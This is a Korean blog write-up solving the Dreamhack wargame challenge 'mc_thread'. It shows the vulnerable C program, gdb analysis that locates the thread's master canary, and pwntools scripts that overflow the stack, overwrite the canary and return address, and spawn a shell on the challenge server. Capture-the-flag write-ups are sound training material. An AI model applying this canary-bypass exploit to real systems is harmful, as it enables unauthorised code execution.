1. intro
2. code & 분석
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
//read(0, buf, size);
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
2.1 분석 및 취약점 확인
main 함수에서 thread를 생성하는데, 생성 시 thread_routine 함수를 실행한다.
해당 함수 내에서는 size와 data를 buf 변수에 받아들이며, data를 받아들일때 read_bytes 함수를 실행하며 데이터를 받는다.
thread_routine 함수에서 size의 크기를 확인하지 않아 발생한다.
문제는 아래에서 보다시피 canary가 걸려 있으나
┌──(kali㉿kali)-[~/Downloads]
└─$ checksec mc_thread
[*] '/home/kali/Downloads/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
memory leak이 불가능하기에 프로그램 실행 중 canary 값을 얻는 것은 불가능하다.
다만, thread_routine 생성 시 buffer overflow가 발생하며, 만일 master canary의 위치까지 도달할 수 있다면 canary 값을 임의로 설정할 수 있을 것이다.
그렇다면 이를 통해 canary를 우회하고 thread_routine 함수의 return address를 변경할 수 있을 것이며, 코드 내에 giveshell 함수의 주소로 덮어씌워 셀을 실행시킬 수 있을 것이다.
2.2 데이터 수집
위의 공격 시나리오에 따라 master canary의 위치를 확인해보자.
buffer overflow는 thread_routine 함수 내에서 발생하기 때문에 해당 함수의 적절한 위치에서 break point를 설정하였다.
gef➤ disas thread_routine
Dump of assembler code for function thread_routine:
0x000000000040093f <+0>: push %rbp
0x0000000000400940 <+1>: mov %rsp,%rbp
0x0000000000400943 <+4>: sub $0x120,%rsp
0x000000000040094a <+11>: mov %fs:0x28,%rax
0x0000000000400953 <+20>: mov %rax,-0x8(%rbp)
0x0000000000400957 <+24>: xor %eax,%eax
0x0000000000400959 <+26>: movl $0x0,-0x114(%rbp)
0x0000000000400963 <+36>: lea 0x182(%rip),%rdi # 0x400aec
0x000000000040096a <+43>: mov $0x0,%eax
0x000000000040096f <+48>: call 0x400710 <printf@plt>
=> 0x0000000000400974 <+53>: lea -0x114(%rbp),%rax
0x000000000040097b <+60>: mov %rax,%rsi
0x000000000040097e <+63>: lea 0x16e(%rip),%rdi # 0x400af3
0x0000000000400985 <+70>: mov $0x0,%eax
0x000000000040098a <+75>: call 0x400770 <__isoc99_scanf@plt>
0x000000000040098f <+80>: lea 0x160(%rip),%rdi # 0x400af6
0x0000000000400996 <+87>: mov $0x0,%eax
0x000000000040099b <+92>: call 0x400710 <printf@plt>
0x00000000004009a0 <+97>: mov -0x114(%rbp),%edx
0x00000000004009a6 <+103>: lea -0x110(%rbp),%rax
0x00000000004009ad <+110>: mov %edx,%esi
0x00000000004009af <+112>: mov %rax,%rdi
0x00000000004009b2 <+115>: call 0x4008d7 <read_bytes>
0x00000000004009b7 <+120>: nop
0x00000000004009b8 <+121>: mov -0x8(%rbp),%rax
0x00000000004009bc <+125>: xor %fs:0x28,%rax
0x00000000004009c5 <+134>: je 0x4009cc <thread_routine+141>
0x00000000004009c7 <+136>: call 0x400700 <__stack_chk_fail@plt>
0x00000000004009cc <+141>: leave
0x00000000004009cd <+142>: ret
End of assembler dump.
gef➤ b *thread_routine +20
Breakpoint 3 at 0x400953
gef➤ r
...
gef➤ x/g $fs_base+0x28
0x7ffff7db2668: 0xf4d1d822d4e01300
위에서 이미 본 것과 같이 buf 변수의 위치를 확인해보면 아래와 같다.
gef➤ disas thread_routine
...
0x00000000004009a0 <+97>: mov -0x114(%rbp),%edx
0x00000000004009a6 <+103>: lea -0x110(%rbp),%rax
0x00000000004009ad <+110>: mov %edx,%esi
0x00000000004009af <+112>: mov %rax,%rdi
0x00000000004009b2 <+115>: call 0x4008d7 <read_bytes>
...
이제 두 값의 차이를 계산해보면 아래와 같다.
gef➤ x/g $fs_base+0x28
0x7ffff7db2668: 0xf4d1d822d4e01300
gef➤ x/g $rbp-0x110
0x7ffff7db1d40: 0x0000000000000000
gef➤ p 0x7ffff7db2668-0x7ffff7db1d40
$3 = 0x928
그러므로 페이로드는
dummy 0x110 byte + sfp 8 byte + giveshell address 8 byte + dummy (0x928 - 0x110 - 0x8 - 0x8) + master canary 0x 8 byte
가 될 것이다.
3. exploit
위에서 찾아낸 값을 기준으로 페이로드를 작성해보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',12781)
#p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b''
pay += b'A'*0x110 #buffer
pay += b'A'*0x8 #sfp
pay += p64(e.symbols['giveshell'])
pay += b'A'*(0x928 - len(pay))
pay += b'A'*0x8
size = len(pay)
p.sendlineafter(b'Size: ',str(size))
p.sendlineafter(b'Data',pay)
p.sendline(b'id')
p.interactive()
하지만, 본 페이로드는 로컬 환경에서는 작동되는데, 서버에서는 작동하지 않는다.
이에 임의로 master canary까지 도달할 수 있도록 길이를 조금 늘려보았더니 0x948 byte에서 성공하였다.
from pwn import *
p = remote('host3.dreamhack.games',12781)
#p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b''
pay += b'A'*0x110 #buffer
pay += b'A'*0x8 #sfp
pay += p64(e.symbols['giveshell'])
pay += b'A'*(0x948 - len(pay))
pay += b'A'*0x8
size = len(pay)
p.sendlineafter(b'Size: ',str(size))
p.sendlineafter(b'Data',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 12781: Done
[*] '/home/kali/Downloads/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/home/kali/Downloads/a.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'Size: ',str(size))
[*] Switching to interactive mode
: uid=1000(mc_thread) gid=1000(mc_thread) groups=1000(mc_thread)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
Overwrite _rtld_global (0) | 2022.08.15 |
---|---|
master_canary (2) | 2022.08.10 |
seccomp (0) | 2022.08.07 |
Bypass SECCOMP-1 (0) | 2022.08.05 |
validator (0) | 2022.08.04 |